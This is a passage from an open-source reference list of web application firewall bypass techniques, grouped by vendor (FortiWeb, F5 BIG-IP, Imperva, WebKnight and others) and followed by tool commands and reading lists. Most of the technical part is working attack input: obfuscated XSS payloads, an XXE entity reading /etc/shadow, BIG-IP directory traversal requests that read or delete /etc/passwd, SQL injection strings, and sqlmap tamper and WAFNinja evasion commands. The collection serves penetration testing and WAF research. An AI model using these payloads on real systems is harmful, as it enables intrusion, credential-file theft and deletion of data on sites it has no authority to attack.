Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300

• R-XSS Bypass by @WAFNinja

<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>

• GET - XSS Bypass (v4.02) by @DavidK

/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />

• POST - XSS Bypass (v4.02) by @DavidK

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />

• clave XSS (v4.02) by @DavidK

/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ 

Fortinet Fortiweb

• pcre_expression unvaidated XSS by @Benjamin Mejri

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 

• CSP Bypass by @Binar10

POST Type Query

POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET Type Query

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

F5 ASM

• XSS Bypass by @WAFNinja

<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>

F5 BIG-IP

• XSS Bypass by @WAFNinja

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

• POST Based XXE by @Anonymous

<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>

• F5 BIG-IP Directory Traversal by @Anastasios Monachos

Read Arbitrary File

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Delete Arbitrary File

POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

• F5 BIG-IP 11.6 SSL Virtual Server - 'Ticketbleed' Memory Disclosure by @0x00String.
• F5 BIG-IP Remote Root Authentication Bypass Vulnerability by @Rel1k.

F5 FirePass

• SQLi Bypass from @Anonymous

state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ 

Imperva SecureSphere

• Imperva SecureSphere 13 - Remote Command Execution by @rsp3ar
• XSS Bypass by @Alra3ees

anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz

• XSS Bypass by @WAFNinja

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E

• XSS Bypass by @i_bo0om

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>

• XSS Bypass by @c0d3g33k

<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

• SQLi Bypass by @DRK1WI

15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'

• SQLi by @Giuseppe D'Amore

stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1

• Imperva SecureSphere <= v13 - Privilege Escalation by @0x09AL

WebKnight

• Cross Site Scripting by @WAFNinja

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>

• SQLi by @WAFNinja

0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)

QuickDefense

• Cross Site Scripting by @WAFNinja

?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>

Apache

• Writing method type in lowercase by @i_bo0om

get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

IIS

• Tabs before method by @i_bo0om

    GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Kona SiteDefender

• XSS Bypass by @zseano

?"></script><base%20c%3D=href%3Dhttps:\mysite>

Awesome Tools

Fingerprinting:

1. Fingerprinting with NMap:
Source: GitHub | SVN

• Normal WAF Fingerprinting
  nmap --script=http-waf-fingerprint <target>

• Intensive WAF Fingerprinting
  nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 <target>

• Generic Detection
  nmap --script=http-waf-detect <target>

2. Fingerprinting with WafW00f:
Source: GitHub | Pypi

wafw00f <target>

Testing:

• WAFBench - A WAF performance testing suite by Microsoft.
• WAF Testing Framework - A free WAF testing tool by Imperva.

Evasion:

1. Evading WAFs with SQLMap Tamper Scripts:

• General Tamper Testing

sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

• MSSQL Tamper Testing

sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

• MySQL Tamper Testing

sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

• Generic Tamper Testing

sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

2. Evading WAFs with WAFNinja
Source: GitHub

• Fuzzing
  python wafninja.py fuzz -u <target> -t xss

• Bypassing
  python wafninja.py bypass -u <target> -p "name=<payload>&Submit=Submit" -t xss

• Insert Fuzzing
  python wafninja.py insert-fuzz -i select -e select -t sql

3. Evading WAFs with WhatWaf:
Source: GitHub

whatwaf -u <target> --ra --throttle 2

4. Evading with Bypass WAF - BurpSuite:
Source: Burp Suite App Store

• Bypass WAF adds some headers to evade some WAF products:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

• Create a session handling rule in Burp that invokes this extension.
• Modify the scope to include applicable tools and URLs.
• Configure the bypass options on the "Bypass WAF" tab.

Blogs and Writeups

• Web Application Firewall (WAF) Evasion Techniques #1 - By @Secjuice.
• Web Application Firewall (WAF) Evasion Techniques #2 - By @Secjuice.
• Web Application Firewall (WAF) Evasion Techniques #3 - By @Secjuice.
• XXE that can Bypass WAF - By @WallArm.
• SQL Injection Bypassing WAF - By @OWASP.
• How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing - By @SunnyHoi.
• Bypassing Web-Application Firewalls by abusing SSL/TLS - By @0x09AL.

Video Presentations

• WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior from @OWASP.
• Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls from BlackHat USA 12.
• Web Application Firewall - Analysis of Detection Logic from BlackHat.
• Bypassing Browser Security Policies for Fun & Profit from BlackHat.
• Web Application Firewall Bypassing from Positive Technologies.
• Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks from @UseNix.
• Evading Deep Inspection Systems for Fun and Shell from BlackHat US 13.
• Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload) from Fools of Security.
• WAFs FTW! A modern devops approach to security testing your WAF from AppSec USA 17.
• Web Application Firewall Bypassing WorkShop from OWASP.
• Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch from Rafay Bloch.
• WTF - WAF Testing Framework from AppSecUSA 13.
• The Death of a Web App Firewall from Brian McHenry.
• Adventures with the WAF from BSides Manchester.
• Bypassing Intrusion Detection Systems from BlackHat.

Presentations & Research Papers

Research Papers:

• Protocol Level WAF Evasion - A protocol level WAF evasion techniques and analysis by Qualys.
• Neural Network based WAF for SQLi - A paper about building a neural network based WAF for detecting SQLi attacks.
• Bypassing Web Application Firewalls with HTTP Parameter Pollution - A ressearch paper from Exploit DB about effectively bypassing WAFs via HTTP Parameter Pollution.
• Poking A Hole in the Firewall - A paper by Rafay Baloch about modern firewall analysis.
• Modern WAF Fingerprinting and XSS Filter Bypass - A paper by Rafay Baloch about WAF fingerprinting and bypassing XSS filters.
• WAF Evasion Testing - A WAF evasion testing guide from SANS.
• WASC WAF Evaluation Criteria - A guide for WAF Evaluation from Web Application Security Consortium.
• WAF Evaluation and Analysis - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from University of Amsterdam.
• Bypassing all WAF XSS Filters - A paper about bypassing all XSS filter rules and evading WAFs for XSS.
• Beyond SQLi - Obfuscate and Bypass WAFs - A research paper from Exploit Database about obfuscating SQL injection queries to effectively bypass WAFs.

Presentations:

• Methods to Bypass a Web Application Firewall - A presentation from PT Security about bypassing WAF filters and evasion.
• Web Application Firewall Bypassing (How to Defeat the Blue Team) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by @OWASP.
• WAF Profiling & Evasion Techniques - A WAF testing and evasion guide from OWASP.
• Protocol Level WAF Evasion Techniques - A presentation at about efficiently evading WAFs at protocol level from BlackHat US 12.
• Analysing Attacking Detection Logic Mechanisms - A presentation about WAF logic applied to detecting attacks from BlackHat US 16.
• WAF Bypasses and PHP Exploits - A presentation about evading WAFs and developing related PHP exploits.
• Our Favorite XSS Filters/IDS and how to Attack Them - A presentation about how to evade XSS filters set by WAF rules from BlackHat USA 09
• Playing Around with WAFs - A small presentation about WAF profiling and playing around with them from Defcon 16.

Credits & License:

This work has been presented by Infected Drake (0xInfection) and is licensed under the Apache 2.0 License.